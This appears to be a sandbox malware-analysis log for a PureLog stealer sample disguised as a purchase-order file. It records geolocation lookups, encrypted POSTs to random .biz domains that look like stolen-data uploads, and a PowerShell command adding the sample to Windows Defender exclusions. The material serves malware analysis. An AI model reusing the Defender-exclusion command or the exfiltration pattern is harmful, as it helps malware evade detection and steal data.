Nov 28, 2024 22:44:35.056476116 CET	778	OUT	Data Raw: 53 90 19 6d 96 df 27 98 fe 02 00 00 51 09 7b a3 8e 11 d0 d0 9e 80 7a ea 51 83 38 17 a0 85 9f a0 c4 80 ec 96 8e 89 63 a1 d7 b3 64 ed f9 c2 8f a8 7b 99 c1 d3 e5 e1 6b c9 06 39 61 22 70 4a 6d d0 0d 6a b2 e0 cd 11 fd de f6 ba 22 5b 73 7e ab 9b 6a 84 Data Ascii: Sm'Q{zQ8cd{k9a"pJmj"[s~jiQ5GS%]os\;n!4]V AE^F@3NuZM6oF,$:#aH6T]EP*)3%=p]UB?
Nov 28, 2024 22:44:37.530086994 CET	411	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 21:44:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=c4ce88473a89f48c79dd2dfd384fc4de\|8.46.123.228\|1732830277\|1732830277\|0\|1\|0; path=/; domain=.ssbzmoy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49754	132.226.247.73	80	3628	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 22:44:39.638662100 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 28, 2024 22:44:40.988693953 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 21:44:40 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1ae923c5559e27e9c9d287a34a194344 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Nov 28, 2024 22:44:41.089533091 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 28, 2024 22:44:41.524159908 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 21:44:41 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 767e57fcd14ec5601852c7e5d3c1341c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49780	172.234.222.138	80	7796	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 22:44:50.009222031 CET	354	OUT	POST /hndiufmakse HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 834
Nov 28, 2024 22:44:50.009222031 CET	834	OUT	Data Raw: aa e8 e3 01 e7 20 a7 ad 36 03 00 00 e8 a4 2d 31 e9 67 3a 9e ad 35 32 db 03 af 41 46 37 84 37 d9 65 f8 b7 58 25 bb db 62 99 f6 b1 2e af 6e 13 4b 17 8e 32 e7 56 df 4f 13 45 fb e7 65 68 30 e7 72 d0 b9 95 4b 15 7f 43 0e 84 c9 44 69 a1 38 d1 d3 b1 32 Data Ascii: 6-1g:52AF77eX%b.nK2VOEeh0rKCDi82;aZmNU0f<h7Nm~)C/&<9\|UsT~J':$JHm Rj,@ocpk`&y6eduvT?!Vzr1^@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49781	172.234.222.138	80	7880	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 22:44:50.042895079 CET	349	OUT	POST /hcvpcb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Nov 28, 2024 22:44:50.042912006 CET	778	OUT	Data Raw: 8e a6 00 c0 08 c7 35 9a fe 02 00 00 06 44 76 93 76 2d 1f 57 bf fd e6 80 24 51 ec d1 1e d0 14 ed 9e d4 01 dc 4d ac c8 05 8c be 9f e8 87 37 f0 61 fa b0 39 e8 9b a3 00 6f 32 86 c1 f5 05 9b 25 2a a8 55 6e 6c e6 8a b4 29 c1 64 30 ec 2e 23 19 59 f8 fe Data Ascii: 5Dvv-W$QM7a9o2%Unl)d0.#Y_o3;i)YuDO)rc"beuqs!>^Nd4i_C =kr1ZG{=yDJ--S-pNwX E-0{\TTV~)/?R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49784	172.234.222.138	80	7796	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 22:44:51.366703033 CET	347	OUT	POST /lxda HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 834
Nov 28, 2024 22:44:51.366833925 CET	834	OUT	Data Raw: 03 d0 4c 5c 14 e0 8d 87 36 03 00 00 bb a5 79 ad 37 aa 03 f1 84 a0 4e a4 00 e2 e3 cd 00 4a bb 3b b9 56 f8 77 4e 3d f6 ce c7 f3 4d 36 54 70 bb 1e 1e d7 7b 17 36 e2 72 f7 4d ba d1 a5 dd ea 78 12 14 ee 75 d4 cb 28 b2 61 8a 29 c4 cc 4c b3 52 71 df 5d Data Ascii: L\6y7NJ;VwN=M6Tp{6rMxu(a)LRq]w`'3p`Ud <!bgr]TW5@]ik~1{%NP`Vz,p]g9*k#DTDc9+)rZ]?>c9{bov\|GNu&la al#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49787	172.234.222.138	80	7880	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 22:44:51.504663944 CET	351	OUT	POST /lkgggwxh HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Nov 28, 2024 22:44:51.504663944 CET	778	OUT	Data Raw: 17 41 21 db 4d 09 cd 07 fe 02 00 00 ae 23 4c fb e0 ac a7 f4 07 e0 03 44 9b d2 43 e5 fa 63 df d1 70 5d 17 0d ab 47 5d 47 1b 46 5c 99 cb fc 7d 64 37 bf da 01 ce 98 cd 71 f4 9c a4 b5 2e 90 ea 60 e3 81 a5 75 15 90 b4 ac 57 78 f3 05 89 6b 5a 26 43 81 Data Ascii: A!M#LDCcp]G]GF\}d7q.`uWxkZ&C;ce?/(,Sz@QF@U4jtD@w;[G<=Lg^eU<@^gT0g>1Y>Y'"{6(Dxd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49806	82.112.184.197	80	7796	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 22:45:00.638345003 CET	350	OUT	POST /lsfncqfq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 834
Nov 28, 2024 22:45:00.638411999 CET	834	OUT	Data Raw: 67 88 4b 7b b2 2c 0e 61 36 03 00 00 78 9f 10 67 7b f0 4f 7e 91 e9 55 92 13 85 4a 8d cb a3 a8 e2 16 ed 66 d4 31 d8 29 92 19 10 5f 2c dd a3 a5 19 e5 14 67 1c 65 1f ea 1d b5 cd 5e 7b 54 db 3d 61 27 7a f1 23 a8 05 59 3f 1d 03 1f 40 a6 7f d4 be 58 b5 Data Ascii: gK{,a6xg{O~UJf1)_,ge^{T=a'z#Y?@XERg_Mj`J39mZh('(_M+D]x0xLk-!k NCHC/P&JA> sV(UM+T91aXZ`+j7s+d;@wIU.jJHv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49808	82.112.184.197	80	7880	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 22:45:00.677488089 CET	349	OUT	POST /algtvyj HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Nov 28, 2024 22:45:00.677501917 CET	778	OUT	Data Raw: df 19 5b f8 68 f2 b6 72 fe 02 00 00 61 4f a9 ea 07 8e ba fc b6 1a 9d 1b 45 c1 47 3d c6 64 4e 60 34 15 ad 73 63 d5 00 e4 6c 83 44 34 67 02 0e c7 fa 99 48 73 ec ad 8c 0f cb f6 2d ec 1d 06 d2 81 86 d0 9c 6e 81 66 ed 3c 0e a4 92 b2 e3 e4 db 06 6f 12 Data Ascii: [hraOEG=dN`4sclD4gHs-nf<o7GZ]caTKB4U~pnrGjnq!UG~Lm^6h;C3')\96Q:*\|`]!]/WVS7t 3r_'kA JL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49852	82.112.184.197	80	7796	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 22:45:22.706005096 CET	351	OUT	POST /oxlmrobhj HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 834
Nov 28, 2024 22:45:22.706033945 CET	834	OUT	Data Raw: 08 9c 85 4b 28 f3 a4 ca 36 03 00 00 9c 20 2d b6 37 0f 2b ae 2f 06 ed 15 5c 9f 47 0e d5 3c 88 e8 14 0d 20 04 6c 91 83 9d 2b 12 14 1e 74 6b c1 c4 7f 55 c6 9e fc d0 29 45 fd 2a 1c 66 e0 8b 11 5c 4b 88 37 af 88 d7 52 fa e3 52 4e 4a 4e 59 d9 13 0b f7 Data Ascii: K(6 -7+/\G< l+tkU)E*f\K7RRNJNY``ECK.+.WU[ePw'J{s`otskEdfXI6Oqd^Wa[Q_@Zc#O,@'1w=>&"D,IyJ?mM#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49853	82.112.184.197	80	7880	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 22:45:22.716563940 CET	350	OUT	POST /kpnskvgb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Nov 28, 2024 22:45:22.716583014 CET	778	OUT	Data Raw: e7 d6 d4 e9 2d cc de 49 fe 02 00 00 d4 c6 43 56 88 f0 20 4b 48 3e a3 60 4a 3b 20 b0 99 fb 4d 68 72 1d b6 52 02 7d 5c 64 df e0 e9 e5 9c fb 67 2e 62 90 cd 17 a5 df c6 23 01 2b 2c 8b 74 99 3f 57 73 f7 bc f7 cb c8 25 a3 a2 c5 12 95 d9 ed 88 ce a8 50 Data Ascii: -ICV KH>`J; MhrR}\dg.b#+,t?Ws%P%qK*n{z80G^P D9j?`0d$Fn/wxY'.)7ZmH$9Ij3H'0D`_\,.G{vbtNa401t7.S#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49864	82.112.184.197	80	7796	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 22:45:27.728472948 CET	357	OUT	POST /fmyrcucxukod HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 834
Nov 28, 2024 22:45:27.728472948 CET	834	OUT	Data Raw: cb b3 13 57 50 47 2e c7 36 03 00 00 62 4d 6f db 41 4f 04 d1 43 7c 38 28 52 97 d6 a8 b2 0b 3a 3f 76 66 d6 a1 40 38 85 41 8a 9c c3 d6 ea 98 e8 5c 31 6a 52 2a c9 49 27 c6 0e 24 2d af 99 03 89 e6 95 4b 35 75 43 de b9 82 29 c2 75 b9 ed 07 d3 88 45 d2 Data Ascii: WPG.6bMoAOC\|8(R:?vf@8A\1jR*I'$-K5uC)uEcXrr1(!Y4}$_`zW?Ie9)/w,;M[0a2{l m4Cu>6l!IT\|z-1j$F?/(!WZ/WCk3gCGW^_}!~M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49903	82.112.184.197	80	7880	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 22:45:45.016161919 CET	348	OUT	POST /rdl HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Nov 28, 2024 22:45:45.016175985 CET	778	OUT	Data Raw: e2 f0 33 55 a4 45 a3 f8 fe 02 00 00 fa 1e 25 e5 40 69 62 1f 78 bd 19 db 89 2f 6a e9 63 a4 b8 89 89 31 37 1a cc 84 83 00 70 ce a6 18 af 86 6b bc b9 54 5d b8 17 81 e5 6f c5 b1 aa 65 13 9e 6b ed 4e 8d 5f 9e 5e 89 be b6 cf bd 62 a2 75 ed 7f 59 89 b8 Data Ascii: 3UE%@ibx/jc17pkT]oekN_^buYP !L)@&SytJ-{ a,@}.nDd^3 !`DnB}2S9LZ:#.sT.@2V^(s.*N[G'@R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49911	82.112.184.197	80	7796	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 22:45:49.770873070 CET	358	OUT	POST /prgqqrrnmmetm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 834
Nov 28, 2024 22:45:49.770898104 CET	834	OUT	Data Raw: 6c c7 4d 28 c6 0d c3 31 36 03 00 00 d1 6f e6 92 94 67 7e 7c 97 7b 5a 14 77 19 ec 06 6a 53 56 ca ed d3 bc 69 fe b7 71 80 86 ea d1 30 69 82 65 50 34 37 dc d1 78 1d d1 7a 0b c1 11 cc 3a 9c 7d 05 3a e9 ea 5a 31 1d 43 89 7d c3 0f 9d 1b a4 72 a8 dd 00 Data Ascii: lM(16og~\|{ZwjSViq0ieP47xz:}:Z1C}r{`jeoLm(E_btCRtf\|6~]@{2gc0?7Q\x'[ K6Xjn)zf[`v<kY:]=5^8{$zF~jOz@xpB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49921	82.112.184.197	80	7880	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 22:46:07.082426071 CET	351	OUT	POST /oitulo HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Nov 28, 2024 22:46:07.082452059 CET	778	OUT	Data Raw: b5 cf 27 1b 79 20 97 dc fe 02 00 00 6f f5 2d 5a 68 18 c7 e9 0a 5d dd ca f6 76 1a 3b 18 8b 91 0b a7 1d 6f e8 0a d0 64 67 3e 06 cd eb 83 8d 5b 9d 88 cc 07 29 e6 65 98 44 d2 df 6c 82 b4 c7 6c bf f1 5c 45 c6 d0 48 0c c3 29 e2 fc cf 91 08 59 53 92 18 Data Ascii: 'y o-Zh]v;odg>[)eDll\EH)YSgA/,\|g?j14+:\vy<\r9r-->\7hakJ"J~(Lb?>Z1%+I:o2J24BR'/qnY/=*l,u+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49922	47.129.31.212	80	7796	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 22:46:14.774070978 CET	348	OUT	POST /agmjd HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: xlfhhhm.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 834
Nov 28, 2024 22:46:14.774086952 CET	834	OUT	Data Raw: 54 d7 4b 23 6e c4 0e 80 36 03 00 00 6c a1 35 c2 61 10 f3 42 2a 7b 27 5b 93 4d e6 29 a3 3d 3f 87 56 68 57 53 0c 19 6e df e3 05 1f b9 54 a9 16 a2 97 29 67 92 bf 6d 5e 98 0e d9 2c bf c0 67 26 85 a1 fc c8 52 b4 f3 e8 b5 99 17 84 b6 7c ba c2 51 9a fc Data Ascii: TK#n6l5aB{'[M)=?VhWSnT)gm^,g&R\|QM@XHdh;60zeIvv3i7v4iAq`1:SZ\VFzrM@C;CH(V,kREz/&KxM#l{r9a1
Nov 28, 2024 22:46:16.902856112 CET	411	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 21:46:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=cc3e87914c68f68fb88827bb12e1c88d\|8.46.123.228\|1732830376\|1732830376\|0\|1\|0; path=/; domain=.xlfhhhm.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49725	104.21.67.152	443	7796	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 21:44:30 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-28 21:44:30 UTC	879	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 21:44:30 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 93441 Last-Modified: Wed, 27 Nov 2024 19:47:09 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T0rkXpOhIe93nRGcflBv9IUNKY6N6ip9NOcRYJjZRjkqYv3jFO0n3XYpqJ8XCtRDguK%2B5yQaT0zLocYnJySJuyDR2pbvcUYHD%2BHY8H8%2BwDUXG8biXHwLtAbYDTst4%2FHzTCmxWwZ%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e9d8a257aba4414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1987&min_rtt=1606&rtt_var=874&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1818181&cwnd=159&unsent_bytes=0&cid=fa0d1704966818c6&ts=602&x=0"
2024-11-28 21:44:30 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49759	104.21.67.152	443	3628	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 21:44:44 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-28 21:44:44 UTC	884	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 21:44:44 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 93455 Last-Modified: Wed, 27 Nov 2024 19:47:09 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=505adWETdR%2BVY5nfpLNT6aDI40AqN%2F5FUu5JB7JjoSy8hLZoEVARVQlccKvrkVy1oGrsqSAAoOoVTeW3j2eP9OXIgPCN1xLOqG8%2BNYhO7EyzI6fAr8yJe%2F%2FtmnI8jPB5o8%2FYUA6%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e9d8a7d5b2c0f71-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1662&min_rtt=1653&rtt_var=639&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1688837&cwnd=250&unsent_bytes=0&cid=d8af582b744f733f&ts=1774&x=0"
2024-11-28 21:44:44 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Target ID:	0
Start time:	16:44:21
Start date:	28/11/2024
Path:	C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe"
Imagebase:	0xe20000
File size:	1'432'064 bytes
MD5 hash:	06C13587E9A7AF60860CB6E2C4F3A7B2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1426195581.0000000004A29000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1457423473.00000000081E0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:44:23
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe"
Imagebase:	0x440000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:44:23
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
